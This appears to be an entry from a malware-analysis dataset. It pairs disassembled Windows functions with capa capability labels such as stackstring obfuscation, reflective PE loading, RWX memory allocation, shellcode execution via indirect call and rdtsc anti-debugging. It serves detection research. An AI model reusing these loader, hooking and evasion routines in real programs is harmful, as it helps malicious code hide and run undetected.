joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003470
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x38
mov eax, dword [0x10013020]
xor eax, esp
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x44]
push ebx
mov dword [esp + 4], eax
mov eax, dword [0x100141dc]
test eax, eax
push ebp
mov ebp, dword [esp + 0x44]
push esi
jne 0x100035ba
mov cl, 0x74
mov byte [esp + 0x1d], cl
mov byte [esp + 0x24], cl
mov byte [esp + 0x29], cl
mov byte [esp + 0x11], cl
mov cl, 0x64
mov al, 0x6c
mov dl, 0x72
mov byte [esp + 0x12], cl
mov byte [esp + 0x16], cl
lea ecx, [esp + 0x1c]
mov byte [esp + 0x28], dl
mov byte [esp + 0x31], dl
push ecx
lea edx, [esp + 0x14]
mov bl, 0x65
push edx
mov byte [esp + 0x24], 0x4e
mov byte [esp + 0x26], 0x41
mov byte [esp + 0x27], al
mov byte [esp + 0x28], al
mov byte [esp + 0x29], 0x6f
mov byte [esp + 0x2a], 0x63
mov byte [esp + 0x2b], 0x61
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], 0x56
mov byte [esp + 0x2f], 0x69
mov byte [esp + 0x32], 0x75
mov byte [esp + 0x33], 0x61
mov byte [esp + 0x34], al
mov byte [esp + 0x35], 0x4d
mov byte [esp + 0x36], bl
mov byte [esp + 0x37], 0x6d
mov byte [esp + 0x38], 0x6f
mov byte [esp + 0x3a], 0x79
mov byte [esp + 0x3b], 0
mov byte [esp + 0x18], 0x6e
mov byte [esp + 0x1b], al
mov byte [esp + 0x1c], al
mov byte [esp + 0x1d], 0x2e
mov byte [esp + 0x1f], al
mov byte [esp + 0x20], al
mov byte [esp + 0x21], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push 5
lea eax, [esp + 0x38]
push eax
lea ecx, [esp + 0x18]
push ecx
push esi
call fcn.10002d90
add esp, 0x10
test eax, eax
je 0x100035b1
push 0x40
push 0x3000
push 0xb
add esi, 5
push 0
mov byte [esp + 0x49], 0x68
mov dword [esp + 0x4a], esi
mov bl, 0xc3
call fcn.10003410
test eax, eax
mov dword [0x100141dc], eax
je 0x100035ea
mov edx, dword [esp + 0x34]
mov ecx, dword [esp + 0x38]
mov dword [eax], edx
mov dx, word [esp + 0x3c]
mov dword [eax + 4], ecx
mov word [eax + 8], dx
mov byte [eax + 0xa], bl
jmp 0x100035b6
mov eax, dword [0x100141dc]
test eax, eax
je 0x100035ea
test edi, edi
je 0x100035ea
mov ecx, dword [esp + 0x58]
mov edx, dword [esp + 0x54]
push ecx
mov ecx, dword [esp + 0x10]
push edx
mov edx, dword [esp + 0x54]
push ecx
push edx
push ebp
push edi
call eax
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x34]
xor ecx, esp
call fcn.10004f15
add esp, 0x38
ret 0x14
mov ecx, dword [esp + 0x40]
pop esi
pop ebp
pop ebx
xor ecx, esp
or eax, 0xffffffff
call fcn.10004f15
add esp, 0x38
ret 0x14
Function at 0x10003690
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x3c
mov eax, dword [0x10013020]
xor eax, esp
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x44]
mov ecx, dword [esp + 0x54]
mov edx, dword [esp + 0x58]
push ebx
push ebp
mov ebp, dword [esp + 0x48]
mov dword [esp + 8], eax
mov eax, dword [0x100141c0]
test eax, eax
push esi
push edi
mov edi, dword [esp + 0x58]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], edx
jne 0x10003800
mov al, 0x6c
mov byte [esp + 0x1f], al
mov byte [esp + 0x20], al
mov byte [esp + 0x23], al
mov byte [esp + 0x24], al
mov al, 0x65
mov cl, 0x74
mov dl, 0x64
mov byte [esp + 0x2f], al
mov byte [esp + 0x34], al
lea eax, [esp + 0x28]
mov byte [esp + 0x1d], cl
mov byte [esp + 0x29], cl
mov byte [esp + 0x36], cl
mov byte [esp + 0x1e], dl
mov byte [esp + 0x22], dl
mov dl, 0x69
push eax
lea ecx, [esp + 0x20]
mov bl, 0x6e
push ecx
mov byte [esp + 0x24], bl
mov byte [esp + 0x29], 0x2e
mov byte [esp + 0x2d], 0
mov byte [esp + 0x30], 0x4e
mov byte [esp + 0x32], 0x4d
mov byte [esp + 0x33], 0x61
mov byte [esp + 0x34], 0x70
mov byte [esp + 0x35], 0x56
mov byte [esp + 0x36], dl
mov byte [esp + 0x38], 0x77
mov byte [esp + 0x39], 0x4f
mov byte [esp + 0x3a], 0x66
mov byte [esp + 0x3b], 0x53
mov byte [esp + 0x3d], 0x63
mov byte [esp + 0x3f], dl
mov byte [esp + 0x40], 0x6f
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 5
mov esi, eax
lea edx, [esp + 0x40]
push edx
lea eax, [esp + 0x24]
push eax
push esi
call fcn.10002d90
add esp, 0x10
test eax, eax
je 0x100037df
push 0x40
push 0x3000
push 0xb
add esi, 5
push 0
mov byte [esp + 0x51], 0x68
mov dword [esp + 0x52], esi
mov bl, 0xc3
call fcn.10003670
test eax, eax
mov dword [0x100141c0], eax
je 0x100037e8
mov ecx, dword [esp + 0x3c]
mov edx, dword [esp + 0x40]
mov dword [eax], ecx
mov eax, dword [0x100141c0]
mov cx, word [esp + 0x44]
mov dword [eax + 4], edx
mov edx, dword [0x100141c0]
mov word [edx + 8], cx
mov eax, dword [0x100141c0]
mov byte [eax + 0xa], bl
mov eax, dword [0x100141c0]
test eax, eax
jne 0x10003800
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
mov ecx, dword [esp + 0x38]
xor ecx, esp
call fcn.10004f15
add esp, 0x3c
ret 0x28
test edi, edi
je 0x100037e8
mov ecx, dword [esp + 0x74]
mov edx, dword [esp + 0x70]
push ecx
mov ecx, dword [esp + 0x70]
push edx
mov edx, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x20]
push edx
mov edx, dword [esp + 0x70]
push ecx
mov ecx, dword [esp + 0x70]
push edx
mov edx, dword [esp + 0x28]
push ecx
push edi
push edx
push ebp
call eax
mov ecx, dword [esp + 0x48]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10004f15
add esp, 0x3c
ret 0x28
Function at 0x10003850
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x34
mov eax, dword [0x10013020]
xor eax, esp
mov dword [esp + 0x30], eax
mov eax, dword [0x100141c4]
test eax, eax
push ebx
push ebp
mov ebp, dword [esp + 0x44]
push esi
push edi
mov edi, dword [esp + 0x48]
jne 0x100039b1
mov al, 0x6c
mov byte [esp + 0x13], al
mov byte [esp + 0x14], al
mov byte [esp + 0x17], al
mov byte [esp + 0x18], al
mov al, 0x65
mov cl, 0x74
mov bl, 0x64
mov byte [esp + 0x25], al
mov byte [esp + 0x2a], al
lea eax, [esp + 0x1c]
mov dl, 0x6e
mov byte [esp + 0x11], cl
mov byte [esp + 0x1d], cl
mov byte [esp + 0x2c], cl
mov byte [esp + 0x12], bl
mov byte [esp + 0x16], bl
push eax
lea ecx, [esp + 0x14]
mov bl, 0x69
push ecx
mov byte [esp + 0x18], dl
mov byte [esp + 0x1d], 0x2e
mov byte [esp + 0x21], 0
mov byte [esp + 0x24], 0x4e
mov byte [esp + 0x26], 0x55
mov byte [esp + 0x27], dl
mov byte [esp + 0x28], 0x6d
mov byte [esp + 0x29], 0x61
mov byte [esp + 0x2a], 0x70
mov byte [esp + 0x2b], 0x56
mov byte [esp + 0x2c], bl
mov byte [esp + 0x2e], 0x77
mov byte [esp + 0x2f], 0x4f
mov byte [esp + 0x30], 0x66
mov byte [esp + 0x31], 0x53
mov byte [esp + 0x33], 0x63
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x6f
mov byte [esp + 0x37], dl
mov byte [esp + 0x38], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 5
mov esi, eax
lea edx, [esp + 0x38]
push edx
lea eax, [esp + 0x18]
push eax
push esi
call fcn.10002d90
add esp, 0x10
test eax, eax
je 0x10003990
push 0x40
push 0x3000
push 0xb
add esi, 5
push 0
mov byte [esp + 0x49], 0x68
mov dword [esp + 0x4a], esi
mov bl, 0xc3
call fcn.10003670
test eax, eax
mov dword [0x100141c4], eax
je 0x10003999
mov ecx, dword [esp + 0x34]
mov edx, dword [esp + 0x38]
mov dword [eax], ecx
mov eax, dword [0x100141c4]
mov cx, word [esp + 0x3c]
mov dword [eax + 4], edx
mov edx, dword [0x100141c4]
mov word [edx + 8], cx
mov eax, dword [0x100141c4]
mov byte [eax + 0xa], bl
mov eax, dword [0x100141c4]
test eax, eax
jne 0x100039b1
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
mov ecx, dword [esp + 0x30]
xor ecx, esp
call fcn.10004f15
add esp, 0x34
ret 8
test edi, edi
je 0x10003999
push ebp
push edi
call eax
mov ecx, dword [esp + 0x40]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10004f15
add esp, 0x34
ret 8

Function at 0x10003dd0
Capabilities:
Hash data with md5

Disassembly:
mov ecx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
mov eax, esi
push edi
mov dword [ecx], 0x67452301
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
lea edi, [eax + 1]
lea ebx, [ebx]
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x10003e00
sub eax, edi
push eax
mov dword [ecx + 0x10], eax
add ecx, 0x14
push esi
push ecx
call fcn.10005470
add esp, 0xc
pop edi
pop esi
ret
Function at 0x10004670
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xe0
mov eax, dword [0x10013020]
xor eax, esp
mov dword [esp + 0xdc], eax
mov ecx, dword [esp + 0xe4]
mov eax, dword [ecx + 0x3c]
push ebx
push ebp
mov ebp, dword [esp + 0xf0]
push esi
add eax, ecx
push edi
mov edi, dword [eax + 0x78]
mov eax, dword [eax + 0x7c]
mov edx, dword [edi + ecx + 0x1c]
mov ebx, dword [edi + ecx + 0x20]
mov esi, dword [edi + ecx + 0x24]
add edx, ecx
add esi, ecx
add ebx, ecx
test ebp, 0xffff0000
mov dword [esp + 0x1c], eax
mov eax, dword [edi + ecx + 0x10]
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], esi
jne 0x100046e4
cmp ebp, eax
jb 0x1000473a
mov esi, dword [edi + ecx + 0x14]
lea esi, [esi + eax - 1]
cmp ebp, esi
ja 0x1000473a
sub ebp, eax
mov eax, dword [edx + ebp*4]
add eax, ecx
jmp 0x1000473c
cmp dword [edi + ecx + 0x18], 0
mov dword [esp + 0x10], 0
jle 0x1000473a
mov edx, dword [esp + 0x10]
mov eax, dword [ebx + edx*4]
mov esi, ebp
add eax, ecx
mov edi, edi
mov dl, byte [eax]
cmp dl, byte [esi]
jne 0x10004720
test dl, dl
je 0x1000471c
mov dl, byte [eax + 1]
cmp dl, byte [esi + 1]
jne 0x10004720
add eax, 2
add esi, 2
test dl, dl
jne 0x10004700
xor eax, eax
jmp 0x10004725
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10004755
mov eax, dword [esp + 0x10]
add eax, 1
cmp eax, dword [edi + ecx + 0x18]
mov dword [esp + 0x10], eax
jl 0x100046f3
xor eax, eax
mov ecx, dword [esp + 0xec]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10004f15
add esp, 0xe0
ret
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
movzx eax, word [eax + edx*2]
mov edx, dword [esp + 0x14]
mov esi, dword [edx + eax*4]
add esi, ecx
lea eax, [ecx + edi]
cmp esi, eax
jb 0x10004834
mov edx, dword [esp + 0x1c]
add ecx, edx
add ecx, edi
cmp esi, ecx
ja 0x10004834
push 0x63
lea eax, [esp + 0x29]
push 0
push eax
mov byte [esp + 0x30], 0
call fcn.10004fd0
push 0x63
lea ecx, [esp + 0x99]
push 0
push ecx
mov byte [esp + 0xa0], 0
call fcn.10004fd0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0x18
push esi
lea edx, [esp + 0x28]
push edx
call edi
lea eax, [esp + 0x24]
push 0x2e
push eax
call fcn.10005210
add esp, 8
test eax, eax
je 0x10004834
mov byte [eax], 0
add eax, 1
push eax
lea ecx, [esp + 0x8c]
push ecx
call edi
mov al, 0x6c
lea edx, [esp + 0x1c]
mov byte [esp + 0x1e], al
mov byte [esp + 0x1f], al
push edx
lea eax, [esp + 0x28]
push eax
mov byte [esp + 0x24], 0x2e
mov byte [esp + 0x25], 0x64
mov byte [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x10004834
lea edx, [esp + 0x88]
push edx
push eax
call fcn.10004670
add esp, 8
jmp 0x1000473c
mov eax, esi
jmp 0x1000473c
Function at 0x10004a00
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
movzx eax, word [ebx + 0x14]
push ebp
xor ebp, ebp
cmp word [ebx + 6], bp
lea eax, [eax + ebx + 0x18]
jbe 0x10004a86
push esi
push edi
lea esi, [eax + 0x24]
mov eax, dword [esi]
mov ecx, eax
shr ecx, 0x1d
mov edx, eax
shr edx, 0x1e
and edx, 1
and ecx, 1
lea ecx, [edx + ecx*2]
mov edx, eax
shr edx, 0x1f
test eax, 0x4000000
lea ecx, [edx + ecx*2]
mov edi, dword [ecx*4 + section..data]
je 0x10004a48
or edi, 0x200
mov edx, dword [esi - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x10004a63
test al, 0x40
je 0x10004a5a
mov ecx, dword [ebx + 0x20]
jmp 0x10004a61
test al, al
jns 0x10004a76
mov ecx, dword [ebx + 0x24]
test ecx, ecx
jbe 0x10004a76
mov ecx, dword [esi - 0x1c]
lea eax, [esp + 0xc]
push eax
push edi
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
movzx edx, word [ebx + 6]
add ebp, 1
add esi, 0x28
cmp ebp, edx
jl 0x10004a17
pop edi
pop esi
pop ebp
pop ecx
ret

Function at 0x10004d50
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
mov ebx, dword [esi + 0x3c]
mov eax, dword [ebx + esi + 0x50]
push edi
push 0x40
add ebx, esi
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
jne 0x10004d7a
pop edi
pop esi
pop ebx
ret
mov ecx, dword [ebx + 0x54]
add ecx, dword [esi + 0x3c]
push ebp
push ecx
push esi
push edi
call fcn.10005470
mov ebp, dword [esi + 0x3c]
add ebp, edi
push ebp
push esi
push edi
call fcn.10004840
mov eax, edi
add esp, 0x18
sub eax, dword [ebp + 0x34]
je 0x10004dad
push eax
mov eax, ebp
mov ebx, edi
call fcn.100048a0
add esp, 4
push edi
mov eax, ebp
call fcn.10004920
add esp, 4
test eax, eax
je 0x10004e03
mov esi, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
mov eax, ebp
mov ecx, edi
call fcn.10004a90
test eax, eax
je 0x10004e03
mov esi, dword [ebp + 0x28]
mov edx, ebp
call fcn.10004ad0
mov ebx, ebp
call fcn.10004a00
mov eax, ebp
mov edx, edi
call fcn.10004d40
test esi, esi
je 0x10004e22
add esi, edi
je 0x10004e03
push 1
push 1
push edi
call esi
test eax, eax
jne 0x10004e18
push eax
push eax
push edi
call esi
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop ebp
pop edi
pop esi
xor eax, eax
pop ebx
ret
mov eax, dword [esp + 0x20]
test eax, eax
je 0x10004e22
mov dword [eax], esi
pop ebp
mov eax, edi
pop edi
pop esi
pop ebx
ret
Function at 0x10004e30
Capabilities:
Read file on windows

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push ebx
push edi
lea eax, [esp + 8]
push eax
xor ebx, ebx
push ecx
mov byte [esp + 0x10], 0x72
mov byte [esp + 0x11], 0x62
mov byte [esp + 0x12], bl
mov byte [esp + 0x13], bl
call fcn.10005f50
mov edi, eax
add esp, 8
test edi, edi
je 0x10004ec6
push ebp
push esi
push 2
push ebx
push edi
call fcn.10005e07
push edi
call fcn.10005d12
push ebx
push ebx
push edi
mov ebp, eax
call fcn.10005e07
add esp, 0x1c
push 4
push 0x3000
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x10004ebb
push edi
push ebp
push 1
push esi
call fcn.10005b5f
push ebx
push ebx
push ebx
push esi
mov word [esi], bx
call fcn.10004d50
add esp, 0x20
push 0x8000
push 0
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push edi
call fcn.10005847
add esp, 4
pop esi
pop ebp
pop edi
mov eax, ebx
pop ebx
pop ecx
ret

Function at 0x10004f15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10013020]
jne 0x10004f1f
repz ret
jmp fcn.10006253
Function at 0x10008eb8
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x10013368]
je 0x10008ed3
inc edi
cmp edi, 0x17
jb 0x10008ec4
cmp edi, 0x17
jae 0x10009053
push ebp
push 3
call fcn.1000d31b
cmp eax, 1
pop ecx
je 0x1000901f
push 3
call fcn.1000d31b
test eax, eax
pop ecx
jne 0x10008f07
cmp dword [0x10014204], 1
je 0x1000901f
cmp ebx, 0xfc
je 0x10009052
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x100146e8
push ebp
call fcn.1000d2b6
add esp, 0xc
test eax, eax
je 0x10008f3d
push esi
push esi
push esi
push esi
push esi
call fcn.100075d1
add esp, 0x14
push 0x104
mov esi, 0x10014701
push esi
push 0
mov byte [0x10014805], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x10008f81
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.1000d2b6
add esp, 0xc
test eax, eax
je 0x10008f81
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.100075d1
add esp, 0x14
push esi
call fcn.1000c110
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x10008fc6
push esi
call fcn.1000c110
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x100149fc
push 0x10010874
sub ecx, eax
push ecx
push eax
call fcn.1000d203
add esp, 0x14
test eax, eax
je 0x10008fc6
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.100075d1
add esp, 0x14
jmp 0x10008fc8
xor esi, esi
push 0x10010870
push ebx
push ebp
call fcn.1000d192
add esp, 0xc
test eax, eax
je 0x10008fe8
push esi
push esi
push esi
push esi
push esi
call fcn.100075d1
add esp, 0x14
push dword [edi*8 + 0x1001336c]
push ebx
push ebp
call fcn.1000d192
add esp, 0xc
test eax, eax
je 0x1000900a
push esi
push esi
push esi
push esi
push esi
call fcn.100075d1
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.1000cfd5
add esp, 0xc
jmp 0x10009052
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x10009052
cmp ebp, 0xffffffff
je 0x10009052
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x1001336c]
push dword [esi]
call fcn.1000c110
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x1000cfd5
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.10006431
xor ebx, ebx
cmp dword [0x10014b84], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x1000d0ab
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x1000d18b
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x1000d18b
push eax
call fcn.100063c3
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x10014b84], eax
call esi
push eax
call fcn.100063c3
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x10014b88], eax
call esi
push eax
call fcn.100063c3
mov dword [0x10014b8c], eax
lea eax, [ebp - 0xc]
push eax
call fcn.10007a54
test eax, eax
pop ecx
pop ecx
je 0x1000d079
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.100075d1
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x1000d0ab
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.100063c3
cmp eax, ebx
pop ecx
mov dword [0x10014b94], eax
je 0x1000d0ab
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.100063c3
pop ecx
mov dword [0x10014b90], eax
mov eax, dword [0x10014b90]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x1000d130
cmp dword [0x10014b94], ecx
je 0x1000d130
push eax
call fcn.1000643a
push dword [0x10014b94]
mov esi, eax
call fcn.1000643a
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x1000d130
cmp edi, ebx
je 0x1000d130
call esi
cmp eax, ebx
je 0x1000d0fd
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1000d0fd
test byte [ebp - 0x18], 1
jne 0x1000d130
lea eax, [ebp - 0x10]
push eax
call fcn.10007a8b
test eax, eax
pop ecx
je 0x1000d118
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.100075d1
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x1000d127
or dword [ebp + 0x10], 0x200000
jmp 0x1000d16b
or dword [ebp + 0x10], 0x40000
jmp 0x1000d16b
mov eax, dword [0x10014b88]
cmp eax, dword [ebp - 8]
je 0x1000d16b
push eax
call fcn.1000643a
cmp eax, ebx
pop ecx
je 0x1000d16b
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x1000d16b
mov eax, dword [0x10014b8c]
cmp eax, dword [ebp - 8]
je 0x1000d16b
push eax
call fcn.1000643a
cmp eax, ebx
pop ecx
je 0x1000d16b
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x10014b84]
call fcn.1000643a
cmp eax, ebx
pop ecx
je 0x1000d18b
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1000d18d
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404980
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [0x42b01c]
push edi
push 0x434fb0
call esi
push 0x434fb0
call esi
push 0x434fb0
call esi
push 0x434fb0
call esi
push 0x434fb0
call esi
mov edi, dword [ebp + 0x10]
lea eax, [edi + 1]
push eax
push 0
call 0x36c05f5
nop
push eax
nop
call 0x77f1296e
mov ebx, eax
push 0x434fb0
mov dword [ebp - 4], ebx
call esi
push 0x434fb0
call esi
push 0x434fb0
call esi
push 0x434fb0
call esi
push 0x434fb0
call esi
push 0x434fb0
mov byte [ebx + edi], 0
call esi
push 0x434fb0
call esi
push 0x434fb0
call esi
push 0x434fb0
call esi
push 0x434fb0
call esi
xor edi, edi
cmp dword [ebp + 0x10], edi
jbe 0x404a9a
mov eax, dword [ebp + 8]
sub eax, ebx
mov dword [ebp - 8], eax
push 0x434fb0
call esi
push 0x434fb0
call esi
push 0x434fb0
call esi
push 0x434fb0
call esi
push 0x434fb0
call esi
mov ecx, dword [ebp + 0xc]
push ecx
add ebx, edi
nop
call 0x6ff643d3
mov ecx, eax
xor edx, edx
mov eax, edi
div ecx
mov eax, dword [ebp + 0xc]
add esp, 4
push 0x434fb0
mov cl, byte [edx + eax]
mov edx, dword [ebp - 8]
xor cl, byte [edx + ebx]
mov byte [ebx], cl
call esi
push 0x434fb0
call esi
push 0x434fb0
call esi
push 0x434fb0
call esi
push 0x434fb0
call esi
mov ebx, dword [ebp - 4]
inc edi
cmp edi, dword [ebp + 0x10]
jb 0x404a26
push 0x434fb0
call esi
push 0x434fb0
call esi
push 0x434fb0
call esi
push 0x434fb0
call esi
push 0x434fb0
call esi
lea eax, [ebp - 0xc]
push eax
push 0x100
push 4
push ebx
mov dword [ebp - 0xc], 0
call 0x36c05fa
nop
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406e30
Capabilities:
Parse pe header

Disassembly:
cmp dword [ebx + 4], 0x40
jb 0x406ed1
mov eax, dword [ebx]
push 0x40
push eax
push esi
call 0x6ff59910
nop
mov ecx, 0x5a4d
add esp, 0xc
cmp word [esi], cx
jne 0x406f00
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x406f00
lea edx, [eax + 0xf8]
cmp edx, dword [ebx + 4]
ja 0x406ed1
mov ecx, dword [ebx]
push edi
push 0xf8
add ecx, eax
push ecx
lea edi, [esi + 0x40]
push edi
nop
call 0x6ff59910
add esp, 0xc
cmp dword [edi], 0x4550
pop edi
jne 0x406f00
mov edx, 0x10b
cmp word [esi + 0x58], dx
jne 0x406f00
movzx eax, word [esi + 0x46]
test ax, ax
je 0x406f00
lea eax, [eax + eax*4]
add eax, eax
add eax, eax
add eax, eax
push eax
push 8
mov dword [esi + 0x140], eax
call dword [fcn.006390f4]
push eax
call dword [fcn.00639088]
mov dword [esi + 0x138], eax
test eax, eax
jne 0x406ed7
mov eax, 3
ret
mov eax, 1
ret
movzx ecx, word [esi + 0x54]
mov edx, dword [esi + 0x3c]
lea ecx, [ecx + edx + 0x18]
mov edx, dword [esi + 0x140]
push ebx
push edx
push ecx
push eax
mov dword [esi + 0x13c], ecx
call fcn.004074d0
add esp, 0x10
neg eax
sbb eax, eax
inc eax
ret
mov eax, 2
ret
Function at 0x82fed1
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0x82fee0
push eax
jge 0x82fef3
jp 0x82fef3
push eax
push edx
rdtsc
pop edx
pop eax
mov eax, dword [esp + 4]
push eax
push edx
jmp 0x82ff0b
rdtsc
push edx
push ebx
pop ebx
pop edx
pop edx
pop eax
mov eax, dword [eax]
jmp 0x82ff26
mov dword [esp + 4], eax
pushal
pushal
push eax
push edx
rdtsc
pop edx
pop eax
jne 0x82ff38
popal
jmp 0x82ff49
popal
pop eax
push 0
push ebx
call 0x82ff56
and byte [ebx - 0x3d], bl
pop ebx
mov dword [esp + 4], ebx
add dword [esp + 4], 0x1c
inc ebx
push ebx
ret
Function at 0x403392
Capabilities:
Get common file path

Disassembly:
push ebx
xor eax, eax
push eax
push eax
push eax
push 0x400
call fcn.0040b820
mov dword [esp], eax
push dword [0x412820]
push dword [0x412820]
call fcn.0040b9cd
lea eax, [esp + 8]
push eax
call fcn.0040e520
push dword [esp]
push 0
push 0x41101e
push dword [esp + 0x10]
call sub.KERNEL32.dll_GetTempFileNameA
push dword [0x412820]
push dword [0x412820]
push dword [esp + 8]
call fcn.0040b730
lea eax, [0x412518]
push eax
call fcn.0040e520
push dword [esp]
call fcn.0040b840
push dword [0x412518]
call fcn.0040ba5c
push dword [0x412518]
call fcn.0040ba6a
push dword [0x412820]
push dword [0x412820]
call fcn.0040b905
lea eax, [0x4124bc]
push eax
call fcn.0040e520
push dword [esp + 0x14]
pop eax
call fcn.0040b890
push eax
xor ebx, ebx
cmp ebx, dword [esp]
jne 0x40346b
mov edx, dword [0x412518]
push dword [0x412820]
call fcn.0040e5d0
lea eax, [0x4124bc]
push eax
call fcn.0040e520
mov dword [esp + 0xc], 2
jmp 0x40347d
mov ebx, 1
cmp ebx, dword [esp]
jne 0x40347d
mov dword [esp + 0xc], 1
pop eax
mov ebx, dword [esp + 0x14]
add ebx, dword [esp + 8]
push ebx
pop eax
call fcn.0040b890
mov dword [0x4124e4], eax
mov ebx, dword [esp + 0x14]
add ebx, dword [esp + 8]
inc ebx
push ebx
pop eax
call fcn.0040b890
mov dword [0x412448], eax
mov eax, 1
jmp 0x4034b0
push dword [esp + 4]
call fcn.0040e630
add esp, 0xc
pop ebx
ret 4